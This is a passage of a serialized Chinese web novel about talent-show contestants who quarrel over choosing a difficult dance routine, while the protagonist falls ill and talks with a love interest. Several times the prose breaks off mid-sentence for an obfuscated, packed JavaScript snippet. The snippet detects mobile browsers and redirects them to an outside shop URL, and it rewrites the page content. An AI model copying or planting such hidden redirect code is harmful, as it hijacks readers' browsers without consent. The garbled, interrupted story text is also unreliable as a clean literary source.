话音刚落,C班有个男生举手大声问道:“陈导,这是不是意味着,只要这两周训练刻苦,就算最终舞台呈现不尽如人意,也有可能晋级?” 陈华点点头:“对,我们采取分阶段权重打分,平时成绩占30%,最后的舞台表演占70%。” “简单来说,如果这两周训练格外刻苦,展现出极高的个人能力和团队协作力,最后的演出却没有完全展现出应有的水平,就算分数不高,也有可能被平时分救回来。” 一个女生立刻道:“老娘这两周不睡觉了!只要练不死,就往死里练!” 大家哄堂大笑,陈华忍俊不禁:“还是要注意劳逸结合,别太累。” 介绍完比赛规则,陈华开始宣布比赛曲目。 “我们给大家准备了四首曲目,从难到易分别是:《顶流生活》、《Diss me》、《劲》、《沉舟》。” 话音刚落,大厅里又掀起第三波更猛烈的议论。 “《顶流生活》??他是认真的吗??”“那可是公认的最难的唱跳啊啊啊,好多偶像明星都公开承认过自己不行”“那是男团的舞蹈啊,女生怎么跳啊?”“请告诉我这不是真的,抽到这首歌我们就死定了!啊啊啊啊啊” 确实,《顶流生活》是公认的难啃的曲目,有不少极具力量性和爆发性的动作,需要极强的上肢下肢力量才可以完成。 歌曲的MV里,小哥哥们都穿的是无袖上衣,做一些高难度动作的时候肌肉尽显,简直令人尖叫连连,狂流鼻血。 所以如果没有肌肉和健身基础,跳《顶流生活》就是天方夜谭,很多动作根本做不出来。 《Diss me》和《劲》倒还好,虽然也有复杂的动作和快节奏音乐,但整体可控,男生女生都可以驾驭。 最后一首《沉舟》是偏国风的曲目,节奏较缓,动作难度不大,变化也少,属于那种就算舞蹈零基础的人,只要练几周,也能轻松驾驭的。 陈华续道:“所以A组的选手必须要在这两周内完成四首曲目的排练,B组可以跳过《顶流生活》,排练后三首,同理,C组可以跳过前两首,D组只用练习《沉舟》。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814307|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>话音刚落,李颂一将手高举在空中。 陈华点头示意她发问,李颂一朗声道:“请问陈导,您刚刚说的是,B组‘可以’跳过《顶流生活》。” “那是否意味着,如果我们愿意,也可以选择挑战《顶流生活》呢?” 问话甫一结束,周围立刻嘘声一片。 “她竟然上赶着挑战《顶流生活》??认真的吗?” “她有没有为同组的人考虑过啊,她自己愿意,不代表同组的人愿意啊!” “真没集体意识和责任心!” “这人人品怎么这样啊?” “她昨天不是被保安带走了吗,怎么又回来了?” “为什么要没苦硬吃啊?自己没实力守住A班的位置,还非要挑战A班的曲目!” 议论声颇大,一字一句的挖苦讽刺都要迸到李颂一脸上了,可是她充耳不闻,目光笔直向前看着陈华。 陈华微笑道:“有野心是好事,你说的没错,B班的选手当然可以向更高难度的曲目发起挑战,C班也是,如果觉得后两首太简单,也可以上难度。” “但是我必须要提醒各位,咱们第二轮是团体赛,不仅要个人能力突出,还需要极强的团队配合和协调度。” “如果一个团里只有个别人跳得好,其他人水平跟不上,也是拿不了高分的。” 李颂一不为所动,杀气腾腾的脸上写着四个大字:挡我者死。 接下来是激动人心的分组环节,本次分组既不是自愿结合,也不是随机抽取,而是节目组指定。 不知道是不是为了节目效果,抑或是时穆飞那个老小子在捣鬼,林见微被分到了和李颂一一组。 同组的还有杜之江和宫。 被分过来的众人:………… 林见微深刻怀疑这是节目组故意为之,昨天打第三轮团体PK的时候,林见微+白濯+唐筱年PK赢了杜之江+钱雯+宫。 所以此刻她严重怀疑,节目组是故意把和她有“过节”的人分到一组。 虽然杜之江和宫完全没在意之前的输赢,但林见微根据之前录节目的经验,导演和剪辑师可是很狡猾的,能把亲如一家剪成剑拔弩张,能把其乐融融剪成骂战现场。 唉,这真是令人头痛欲裂。 她所在的是个六人组,除了李颂一、杜之江、宫,还有商和羽。 五夜音符里的角和徵都被分到其他组了。 表面上看他们这个团挺完美的,三男三女,和《星璨》最终的选拔目标一致,而且宫可以担任男生vocal,杜之江可以担任女生vocal,剩下的人几乎都很全能,而且经验丰富,跳舞走位都不在话下。 但是一想到李颂一刚刚的炸裂发问,而且可能拗不过李颂一,不得不排练最难的《顶流生活》,剩下五人就愁眉苦脸,怨气满满。 分完组后要分宿舍,这里的宿舍布置成6人间,所以把两个组的男生或者女生拼到一起就成了一个宿舍。 林见微、李颂一、杜之江先分到了一屋,而后又因为A-D班每个班都有个七人组,会剩下一人暂时没宿舍,A班剩下了邓舒华,C班剩下了一个叫陈宛若的女生,D班剩下了钱雯。 所以节目组决定,让六个人原地变成室友。 林见微:………………节目组用心之狠毒,令人佩服。 这一窝火药味十足的宿舍,不把天吵破了就算不错了。 林见微已经脑补出了李颂一和邓舒华掐架,其他人手忙脚乱上前拉扯的惨烈局面。 抑或是李颂一指着大劈叉鼻子大骂,其他人七手八脚劝说的情景。 82.八十二 好在节目组要求大家以最快的速度把个人物品放进宿舍,然后直接去练舞室分组上课排练,所以冲突并没有立刻爆发。 林见微、杜之江、宫等人到了练舞室,彼此先寒暄一下,又进行了一波商业互吹,当然最主要的是在商量对策。 五人达成高度共识:绝对不能让李颂一PUA他们选择《顶流生活》。 而后李颂一黑着脸走进来,看到众人聚作一团说话,脸色更加阴沉,毫不掩饰自己的不屑,一个人站在一旁,自顾自地练起舞。 她练的,就是《顶流生活》的开头。 五个人:“………………谁先上?” 几个人互相使眼色,最后老好人宫没忍住压力,率先发起攻势。 他小心翼翼走到专心练舞的李颂一身旁,赔笑道:“李……颂一姐,能跟你商量件事吗?” 李颂一正专注地看着镜子里的自己,头也没回地说:“不能。” 说完立刻来了个转身动作,跑跳几步,和宫拉开老远的距离。 宫一脸苦相地回头,只见其他四人纷纷做出鼓励的手势:“你可以的,加油!” 宫无奈又跑到李颂一身边,再次赔笑道:“颂一姐,事关咱们组合的命运,你就听我一言。” 镜子里的李颂一紧皱眉头,很不耐烦,但她还是慢下动作,斜了镜子里的宫一眼:“你哪年的,就管我叫姐?” 宫立刻傻眼,他是出于恭敬的心态才唤李颂一一声姐,又不是户籍警,没看过李颂一户口,怎么知道谁大谁小? 见他语塞,李颂一几个跑跳飞旋而去,宫不得已咬牙追了过去,鞠躬道:“对不起,我,我不是有意的。” 李颂一见他态度诚恳,语气卑微,终于停下动作,转头看着他。 她对宫其实并没有恶感,昨天的比赛她从头看到尾,五夜音符的表演还是很不错的,无论是音乐的处理、动作的力量感、团队的整齐度,都是这届选手中的佼佼者。 她对宫的业务能力还是比较认可的,所以此刻她也不愿意继续和他为难。 所以她直截了当地说:“我看你不缺肌肉力量,也不缺勤奋进取的精神,我问你,给你一周时间,你能学会《顶流生活》吗?” 宫再次语塞。 李颂一直接问到了很关键的问题,五夜音符是按照男团标准培养的,所以市面上的男团舞蹈,无论难易程度,他们几乎都训练过。 《顶流生活》也在他们的训练课程里。 当然,因为平时团播用不到这么高难度的舞蹈,所以大家也只是学习了一下,并没有熟练掌握。 但如果用一周时间突击训练,宫、商、羽三个男生其实都有潜力把这支舞练好练熟。 所以其实真正的问题在三个女生。 或者说,是除了李颂一之外的两个女生。 五夜音符心意相通,见队长默不作声,商和羽都心领神会,一时也不知道该说什么。 杜之江和林见微都是聪明人,见这个反应,心里顿时明白了七七八八。 二人互看一眼,心里不约而同地说:这可如何是好。 片刻后,杜之江决定挑起大梁,大步上前,昂首挺胸,走到宫和李颂一身后: “可是我们还需要考虑风险性。” 宫感激地看了她一眼,李颂一却再次皱眉,从刚刚被宫打断的地方重新开始跳。 不得不说,李颂一虽然脾气冲性格不好,但有一说一,她的业务能力还是很强的,舞蹈功底相当扎实,上肢力量在女生中算是佼佼者。 此刻她跳的部分已经到了相当难的地方,但她驾轻就熟,只是在几个比较复杂的地方停顿下来,反复练习几次,又行云流水地跳下去。 杜之江咳嗽一声,说道:“就算我们如你的意,同意排练《顶流生活》,我们有多大把握能在一周内把这个节目排到完美?更何况还有其他两首曲子要练,我们又有多大把握能在一周内把两首曲子练会记熟?” 李颂一:“那是你和大劈叉的问题,不是我们剩下人的问题。” 杜之江着实被气到,声音都高了八度:“你什么意思?你是觉得我们两个业务能力不行是吧?” 李颂一横了她一眼:“这是你说的,不是我说的。” 杜之江肺都要气炸了:“咱们都是凭真本事进到这个班级的,不错,你之前是A评级,但你本事通天,不是也掉到和我们一样的队列里了?” 这话稳狠准刺到了李颂一的痛点,她最恼火最不甘心的就是昨晚她明明已经高分进入A班,却被邓舒华那个小蹄子算计,马失前蹄掉到了瞧不上的B班。 李颂一终于停下了练习,瞪着眼珠大喊道:“我和你们可不一样,我不属于这个评级!要不是你们拖累,我这一轮肯定能高分晋级!” 杜之江也大叫道:“拖累?谁拖累你了,谁求着你到B班了?” 眼看局势越来越不对,火药味越来越浓,众人脑海中都浮现出昨晚李颂一和邓舒华对骂对打的场景。 林见微连忙上前拦在二人中间:“先别吵了,听我说一句。” 二人正吵到气头上,没人听她的,视线隔着她在空中交汇,噼里啪啦呲出无数火花。 林见微不得不提高音量:“首先,李颂一不是说我们业务能力不行,只不过因为我们是女生,又没怎么进行过肌肉力量训练,所以有些动作练起来比一般人要费事许多。” 李颂一本来还在破口大骂,猛不丁听林见微这么一说,不禁一愣。 她不是傻子,能听出来林见微这是在替她说话。 但转瞬间她心里又起一把火:她凭什么揣摩我的心思,替我辩解?她以为她是谁? 于是她高声叫道:“大劈叉,你少来这一套!” 林见微不为所动,继续道:“杜之江的意思是,智者千虑必有一失,谁都有马失前蹄的时候,现在的情况就是最好的证明,你能力再高,也逃不过天意的安排。” “你如果继续我行我素,那谁能保证这一轮不会出现类似的局面?第二轮是团队赛,任何人拖后腿都会导致整个团队的失败,你如果继续执迷不悟,不考虑其他人的感受,不考虑行为后果,那两周后大家都一定会被淘汰,你将陷入和第一轮一样的局面!” “《星璨》的机会有多难得,你比我更清楚,各大平台每年有多少选秀节目,你也应该明白。如果你继续让自己的莽撞阻挡在理智面前,就算你参加再多次节目也会空手而归,几年后你回头看,只会怪自己蹉跎了青春,空有一身本事却再也无处施展。” “你现在愿意把你整个前途赌上吗?” 李颂一沉默不语,林见微的话一字一句如石头一样砸来,她低下头,看着自己脚尖。 杜之江和“三夜”音符都暗暗赞叹,心想林见微思维能力确实不错,一下子就能揭穿本质,戳中痛点。 室内一下子变得安静无比,湛蓝的天空下红叶铺满大片窗格,微风拂过窗户发出沙沙轻响,不远处传来几声啾啾鸟啼。 众人都陷入沉思,于是当练舞室的门被吱哑一声推开时,大家都吓了一跳。 蒋方奇探头进来,非常礼貌地问道:“我能进来吗?” 大家忙说可以,蒋方奇这才走进来,而后把门轻轻关上。 他环视一圈,笑道:“怎么这么安静?” 杜之江答道:“我们在讨论一些事情。” 蒋方奇好奇问:“什么事情?” 杜之江撇撇嘴,没有回答,宫接道:“在讨论要不要挑战《顶流生活》。” 蒋方奇瞳孔急剧放大,双手夸张地放在嘴边,后背向后一躬:“真的吗??你们真有志向,为你们点赞!” 杜之江冷冷道:“我们还在讨论阶段。” 蒋方奇兴奋道:“依我看,你们组是有这个实力的!” 李颂一顿时精神起来:“你真的这么觉得?” 蒋方奇:“当然!”然后下意识向后看了看,确定门已经关紧,拉低声音道:“这话我悄悄说哈,我看了你们分组的情况,实话实说,我觉得有些A班的组合是没法胜任这支舞的,B班里面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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me》也可以啊。” 但杜之江和林见微立刻横了她一眼,李颂一也知道理亏——毕竟二人已经默认可以挑战《顶流生活》,算是让了她一下。 现在她要是还一意孤行,确实有点说不过去。 所以她只是提了一句,就没再往下说下去。 商苦笑道:“那要不我们举手表决,同意把《Diss me》加入演出的请举手。” 室内安静一片,没人举手。 李颂一也没举手。 杜之江和林见微蛮惊讶地看着她,只见李颂一仍是一脸“全世界老娘最厉害”的叼样子,下巴微扬,但三人目光相接的一瞬间,李颂一轻轻转头,避开了对视。 商看了一圈,长舒一口气,欣喜道:“好,那就这样决定了,我们组挑战的三支曲目是《顶流生活》、《劲》、《沉舟》。” 杜之江点点头:“至于时间管理问题,我觉得我们可以计划用一周时间集中练习《顶流生活》,而后再练习剩下的曲目。” 大家一致同意了这个安排。 《劲》是一首标准的男团女团舞,在场的都接触过,捡起来应该不困难。 而《沉舟》虽然是首新曲子,大家都没练习过,但它动作简单,重复较多,对于几人的水平来说,三天的练习时间足以。 敲定了接下来的训练计划,大家都一身轻松,身心舒爽,宫提议道:“我带了ipad,里面存的有《顶流生活》的舞蹈,我上楼拿下来,咱们一起看看。” 大家纷纷点头,商说他也带了ipad,正好两人一起上楼取,接下来的时间可以三个人分一个ipad扒舞。 两人话音刚落,后面突然传来duang的一声。 众人吃惊回头,看到发生了什么之后更加惊惧,练舞室内响起一片惊叫—— 林见微仰头摔倒,不省人事地躺在地板上,双眼紧闭,眉头紧皱,似乎处于极大的痛苦中。 83.八十三 林见微再次醒来时,觉得自己的头仿佛有千钧重,脑子里的神经一团乱麻一样,全都绞在一起。 太阳穴一突一突地疼,林见微努力睁开眼皮,只听耳边有个女声欣喜道:“你醒了!” 那声音很是熟悉,林见微艰难转过头,发现一个圆脸双马尾女生正认真盯着自己。 钱雯见她瞳孔聚焦,笑道:“你真是敬业,发烧到39度还坚持工作。” 林见微这才明白,自己今天这么累,是因为生病了。 此刻她才后知后觉地感受到身体的酸麻疼痛,想说些什么,冒火的嗓子里好像梗着什么东西,几乎发不出声音。 钱雯立刻道:“别说话了,好好歇着吧,医生让你静养两天。” 静养两天?林见微脑子里突然打过一道闪电,那可不行,第二轮的练习时间总共就14天,损失一个小时都令人肉疼,更何况两天。 林见微挣扎想坐起来,但无奈头实在太过沉重,而且稍稍一动,脑子里乱麻一样的神经就揪在一起,疼得厉害。 钱雯按着她的肩膀安慰道:“不急,蒋方奇听说了你的情况,特意叮嘱你的队友们不要给你压力,还说他在编舞的时候会给你安排一个好驾驭的位置,让你好好养病。” 林见微在心里苦笑:如果真是这样,意味着她在镜头、观众、评委面前表现的机会也大大减少。 这时钱雯又说:“你昏过去的这段时间,有个人总是给你打电话,是不是你家人或者什么朋友找你有急事?” 林见微心里顿时一紧:万一是时闻呢? 钱雯把手机拿到她眼前,林见微伸手接过。 “老麦,听上去是个男的啊,你们两个……嘿嘿,他是不是你新发展的男朋友啊?” 林见微心里一松,随即想起,昨天她机智地把时闻的昵称改了,不然可不就露馅了。 之所以叫他老麦,取材于他最喜爱的食物,麦芬蛋糕。 钱雯之所以说“新”发展的,是因为她见过她和陈怀顾在一起的时候。 林见微终于沙哑道:“是一个关系还不错的人。” 钱雯眨眨眼,小声而俏皮道:“我明白!榜一是吧?” 林见微顺水推舟:“嗯嗯。” 钱雯:“放心,我会帮你保密的!” 林见微感激地看着她,只听钱雯又说:“你已经睡了三四个小时了,现在是晚上九点多,宿舍其他人都还在练舞呢,医生说你身边要留个人,我就自告奋勇留下了。” 林见微瞬间被感动了,沙哑道:“谢谢。” 钱雯:“害,别客气,我们都认识多长时间了,都是应该的。医生给你输过液了,现在应该已经不烧了,退烧药我帮你放枕头下了,难受的时候吃一粒就行。” 林见微不知道该说什么好,而且嗓子发胀,也说不出太多话,只是拉着她的手表示感谢。 钱雯:“你不要太拼命了,工作和事业固然重要,但是身体也很重要啊,哦对了,你赶紧和老麦回个消息吧,我就先回去练舞了。” 林见微点头,看着钱雯出去把门关上,才举起手机。 您有3个未接来电。 还有好几条未读消息。 看来老麦还挺想她的嘛。 [劈叉,节目录得怎么样?分组结果确定了吗?] [训练辛苦吗?] [我……我有点想你,过几天我去偷偷看看你好吗?] 然后就是一波未接来电。 啧啧,没想到老干部会这么黏人。 林见微回拨过去,但两秒钟后还是改变主意,点了取消通话,发了条消息: [发烧了,不方便说话,现在在宿舍睡觉] 对方正在输入中…… [怎么回事,是不是冻着了?需不需要我给你送点衣服?] 林见微回道:[没事,过两天就好了,吃了退烧药已经不烧了] 时闻没有再发消息,而是直接一个电话拨了过来。 还是个视频通话。 林见微心里苦笑不已,他怎么没懂呢,她刚刚明明取消了通话,就是因为现在不想见人啊。 但她还是就着手机屏看了看自己憔悴的病容,然后接了电话,但立刻关住摄像头。 时闻一脸关切地问道:“怎么病了,你千万别心急,有病就养病,把工作放在第二位。” 林见微虚弱而沙哑道:“行。” 时闻:“是只吃了退烧药吗,扁桃体发炎的药吃了吗?还有治感冒的药也要吃。” 林见微点点头:“明天我找医生要。” 时闻:“别等明天了,你知道地址吗,或者你给我发个定位,我叫个跑腿给你送过去。” 林见微:“不用那么麻烦,地址太偏,很难找。” 这时她发现时闻那边好像挺忙碌的,后面各种人走来走去,又是搬桌子又是拿椅子的。 “你在搬家吗?”林见微问道。 时闻笑着解释道:“你还记得刘伶俐父女吗?” 林见微惊讶了一下,没想到会听到这个名字。 她当然记得,刘伶俐的父亲刘兴和受到高翔的收买,故意污蔑舒氧酸奶,她和谷煜、时闻特意坐高铁跑到冬江,找到刘兴和,好说歹说才让他同意删除差评。 当时她和时闻还答应辅导刘伶俐艺考呢。 视频里,时闻笑着指着身后:“这是我楼下的房子,刘伶俐父女答应搬过来了,我打算利用这一段时间,指导刘伶俐表演。” 林见微开心道:“太好了。” 时闻眉间洋溢着一丝得意:“还有更好的,我打算直播对刘伶俐的指导过程,这样也算造福社会,免费给所有热爱表演,想踏入演艺圈,但又没钱买课的人一点资源。” 时闻的话仿佛一个温暖而猛烈的浪头,拍在林见微的心上。 曾几何时,她也是刚刚时闻描述的一员,热爱表演,可是又囊中羞涩,那些高昂的培训费用曾让她望而却步,差点就和理想职业失之交臂。 如果当时有人愿意像时闻这样,慷慨分享自己的经验和知识,她能少走多少弯路。 这时她才意识到一件事情:时闻这个人表面看似淡漠疏离,似乎不想和人世间发生太多纠葛,但是他内里却好似蕴着无数岩浆的地心,源源不断向四周输送着,温暖着大地和山川河流。 心底交汇着无数暖流,林见微有好一阵没有说话。 时闻一下子有点慌张,解释道:“我以为你会开心我终于打算直播了,对不起,我应该提前和你商量一下的。” “哦,如果你不想让刘伶俐父女住在这里,担心他们影响我们,我可以给他们再找一个更好的房子……” 林见微:“时闻。” 时闻紧张地看着她这边的黑色屏幕,上面那个认真劈着叉的Q版小人显得异常卖力,胖嘟嘟的脸上每一寸肌肉都绷着劲,扎着的丸子头两侧溢出两滴汗珠。 半晌只听林见微低声说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16825855|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我很高兴你这么做,我很感动。” 时闻舒了一口气,挠挠头道:“那就好……可是你要是有任何不满,一定要告诉我。” 林见微对着关闭的摄像头点点头,在时闻看不见的地方,一滴泪珠凝结在眼角。 时闻后面有什么人叫住了他,好像在问他桌子放在哪里,时闻转身说了什么,回头对着镜头道: “劈叉,那你先休息吧,我今晚把房子收拾一下,刘伶俐他们明天一早就搬进来了。” 林见微:“好的。” 时闻盯着林见微那劈着叉的Q版头像好久,又嘱咐了几句,才恋恋不舍地挂了电话。 通完话的第二秒,林见微就上网搜了《顶流生活》的舞蹈视频。 现在生病得真不是时候,关键时刻掉链子,林见微一边暗恨自己为什么体质这么弱,一边聚精会神地研究起《顶流生活》的舞蹈动作。 她把原版视频看了好几遍,又搜了许多教学视频,在脑海里模拟着动作,手和脚也情不自禁跟着旋律和节拍动了起来。 用意念练习了一个多小时,宿舍门被打开,杜之江和钱雯有说有笑地走了进来。 见林见微醒过来,杜之江先是高兴地叫了一声,然后跟她讲了情况: “蒋方奇果然够意思,今天晚上他真的跑过来给我们开小灶了,特别认真仔细地陪我们看视频,分解动作,还讲了他排舞的大致思路。” “你别说,经过他的点拨,这首舞蹈还真没看上去那么难,而且你看,他送了我们什么!” 说着她从身后变出一个红色的小东西,握在手里伸到她面前。 林见微惊讶地低声道:“哑铃?” 杜之江开心笑道:“没错,他说肌肉训练虽然不能速成,但练了总比没练强。” “他说也不用太为难自己,每天一早一晚跟着app练个20分钟就行。” “还说等你病好了能去练舞室的时候,他也给你准备一个。” 林见微见杜之江神采奕奕,一反上午刚刚知道要跳《顶流生活》的阴沉愤怒,顿时放心下一大半。 既然她这么有信心,那大家一起努努力,应该会有奇迹出现。 林见微看着二人问道:“其他人呢?” 杜之江:“李颂一还在练舞室和这支舞蹈死磕呢,唉,其实她挺刻苦的,业务能力也没的说,就是脾气实在是太难与人相处。” “邓舒华也在练舞,看那架势是想练到后半夜了,陈宛若我不熟,但八成也是在刻苦训练。” 林见微心里苦笑:就我还在歇着。 剩下的时间她让杜之江详细地把蒋方奇今晚的训练指导跟她讲解一遍,而后又自己仔细研究了舞蹈动作。 时间来到12点,一股难以抵挡的困意席卷而来,她连打着哈欠,最后不得不向疲惫的身体投降,倒头昏昏睡去。 第二天一早,她六点多醒了过来,第一反应是摸一摸额头。 艹,挺烫的。 林见微哀嚎着把退烧药从枕头底下翻出来,从床头拿起水杯,咕咚把药片灌下去。 熹微的晨光透过半敛的窗帘凉凉地沁了进来,室内一片安静,此起彼伏的鼻息声和轻微的鼾声交汇在一起,大家都还在熟睡中。 林见微翻起手机,想定个八点的闹铃,而后看到老麦昨天凌晨发来条消息: [择日不如撞日,我今天下午直播,你闲的时候可以看看直播回放] [别忘了吃药] 84.八十四 林见微瞳孔放大,迅速回了一个:[几点直播?] 看看表才早上六点半左右,但没想到时闻秒回:[下午3点] 林见微:[老干部早睡早起?] 时闻发来一个笑容:[你好点了吗,还发烧吗,药吃了吗?] 林见微:[微笑][又吃了片退烧药,过几个小时就好了] 时闻:[要注意身体,别逞强,病了就歇着] 林见微:[知道啦,要直播了,紧张吗?] 时闻过了一会儿才回:[有点] 林见微:[放轻松,如果实在紧张,就当直播镜头是我,你在和我说话。] 时闻回了个憨笑的表情,然后说:[我试试] 林见微感觉有点疲累,也就没有再回,而是随便刷了刷手机,等着药效渐渐上来。 她先是在香蕉直播上漫无目的地刷了一会儿直播和小视频,然后又查了查节目组建的微信群,想看看有没有什么漏过的群消息。 群是昨天建的,一晚上没看,里面已经塞满了一百多条未读消息,满屏都是类似“很高兴认识大家,我是xxx,从今而后我们就是朋友啦”的自我介绍,还有一些搞笑可爱的表情包。 点进群消息,林见微不由得瞪大眼睛。 半小时前,群消息刚刚被更新过: 各位选手,昨晚一家赞助商紧急联系我们,希望找一位选手拍产品的宣传广告,拍摄时间暂定在两天后。 请感兴趣、有余力的选手今天下午5点前去2楼201室参加面试选拔。 拍摄宣传广告?这可是美差啊,可以获得更多曝光度和流量,而且还能多拿点米。 但是通常只有那些确定能晋级好几轮的选手可以荣幸获得这种商务机会,毕竟没有厂家会愿意让一个籍籍无名,前两轮就淘汰的选手代言自家产品。 不过既然有机会,还是可以去争取一下。 室内传来轻微鼾声,林见微盯着窗外熹微晨光,脑海中已经想象出等大家醒来看到这则群消息后,201的门槛被络绎不绝的竞聘者踢破的场景。 恍神间,室内有叮铃铃闹铃响起,林见微猛惊了一下,睡在斜上方的李颂一翻了个身,把闹铃摁灭。 看看时间,早上6:50。 还真是勤奋啊。 闹铃也吵醒了熟睡的杜之江和钱雯,两个人不约而同地从枕头底下翻出手机,看了一眼时间后又闭上眼睛。 过了十分钟左右,李颂一从床上直挺坐起,仅用了五秒钟就完成了踩着梯子下床的动作。 宿舍是上下铺,李颂一睡着邓舒华上方,下床穿鞋的窸窣声让下铺的邓舒华也翻了个身,轻哼一声。 其实她们两个昨晚都是快两点才回来,洗漱之后躺在床上时已经将近三点了。 现在起床,相当于只睡了四个小时。 这也太拼命了。 林见微很少见到对待工作比她还拼命的。 怀揣着一份敬意,林见微目送李颂一抄起牙具和毛巾出门洗漱。 两分钟后她就回来了,脸上湿漉漉一片,用搭在肩上的毛巾胡乱一抹,脱掉睡衣换上队服,如一阵旋风一样消失在门口。 林见微低头看表:7:10。 她严重怀疑李颂一之前当过兵,不然是怎么练就出这副十分钟内完成起床、洗漱、整理内务、穿戴齐整着的本领? 而且她消失得悄无声息,刚刚被吵醒的杜之江、钱雯、邓舒华都已经重新陷入沉睡,室内恢复寂静一片,均匀的鼻息声渐次响起。 林见微又刷了一会儿手机,药效终于起了作用,原本昏沉的脑子变得清明了许多,四肢也没那么酸麻了。 林见微想了想,决定起床。 她一看就没当过兵,拿洗漱杯时一个没拿稳,发出的叮咣声响把寝室内其他人再次吵醒。 睡在上铺的杜之江迷乱而疑惑地看着她:“怎么起这么早?” 林见微不好意思地笑道:“对不起,吵醒你了,我想去练练舞。” 杜之江还没完全睡醒,整个人处在一种迷离状态,只是嗯了一声,面朝里又睡了过去。 这下林见微小心多了,点着脚尖走到门口,小心翼翼地把宿舍门一点一点拉开。 大门还是无可救药地发出吱扭一声响,刚开了一条小缝,林见微就趁势钻了出去。 大清早走廊里空荡荡的,偶尔能看见几个睡眼朦胧,头发蓬乱的选手从宿舍出来,有的去上厕所,有的和她一样拿着洗漱用品,往水池走去。 在水池边,她碰到了一个熟人,他头发竖起状如鸡窝,目光呆滞地盯着镜子,但在看到她的那一刻惊喜地笑了起来。 “早。”羽和她打招呼。 “早。”林见微站到他身边,把洗漱杯放在台子上。 “病好了吗?”羽关心地问道。 林见微点头:“差不多了,吃了退烧药,现在已经不烧了,你现在是打算去练舞室吗?” 羽叹了口气:“没办法,笨鸟先飞。” 林见微:“你还算笨鸟吗?你们在第一轮的表演多炸裂啊!连评委们都说,你们是可以原地出道的水平。” 羽苦笑着看着她:“但那支舞我们五个人反反复复合练过无数遍,私下里我自己一个人默默地又练了成百上千遍,才达到那样的效果。” “我记得我们刚刚开始练习那支舞蹈时,其他哥哥们没怎么费力就学了个七七八八,他们悟性好,一点就透,但我就像根木头似的,无论老师怎么教,就和对牛弹琴一样。” “我怕拖团队后腿,没日没夜练了好多遍,才最终跳到和大家差不多的水平。” 羽看着林见微:“不知道你记不记得,第一轮的时候五个人里,我得分是最低的,被评委老师们指出的问题也是最多的。” 林见微没想到他光鲜背后还有这么多心酸过往,一下子共情不已。 镜子里的羽长着一副娃娃脸,充满钝感的五官柔和可爱,黑漆漆的眼睛如小狗一样透着无辜和无奈。 没有擦粉的脸微显憔悴,可以想见他背负了多大压力。 林见微轻声鼓励道:“加油,你一定可以的,能走到这里的选手们水平都不差,所以你一定要相信自己,只要努力,一定可以取得好成绩。” 羽感动地点头:“你也是,我们都要加油。” 洗漱过程中,林见微和羽约定一会儿先去食堂随便吃点东西,羽负责给林见微讲解昨天排练过的舞蹈动作,然后二人再一起去练舞室排练。 回到宿舍,林见微轻手轻脚地把牙具毛巾放回原处,从衣柜里取出换洗衣服,从头到脚换上。 早上7:45林见微和羽坐在食堂里,羽要了份包子豆浆,林见微要了白水煮蛋和黑咖,二人边吃边讨论练舞的事,然后8点钟出现在练舞室。 还没走进门的时候,二人就听见里面有动静,推开门,果不其然,李颂一正数着节拍,一个动作一个动作对着镜子反复细扣。 二人进来,李颂一就当没看见一样,自顾自地继续练下去。 他们也懒得计较,找了个离她远的角落,直接开始练习起来。 昨天蒋方奇把《顶流生活》分成四大部分,主要讲解了第一部分,这一部分还没有完全上难度,但有几个动作也挺费力的。 羽很有耐心,本来早起是为了自己训练,但碰到林见微后也不着急,非常细致地把动作一个一个拆解给她看,复杂的部分还反复演示了好几遍。 林见微跟在他后面有样学样,再加上昨天晚上躺床上她也没闲着,脑子里一直演化着动作,所以只用了半个小时,她就对第一部分掌握了七八成。 又单独练习了半小时,她已经可以自信地对着镜子流畅跳出所有动作了。 练习时,余光里她看见李颂一已经练到超纲的部分了,蒋方奇只教了前四分之一,但李颂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830382|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一明显已经练到了曲子的后半段。 而且她的动作似乎慢了下来,目光有意无意地往林见微这边瞟。 林见微也没管太多,自顾自地练习下去,直到练舞室的门被吱哑一声打开—— 杜之江和宫一前一后走了进来,见到林见微等人,又是惊讶又是赞叹地叫道:“你们未免也太刻苦了吧!” 林见微和羽都停下笑道:“你们想不想来合一遍?” 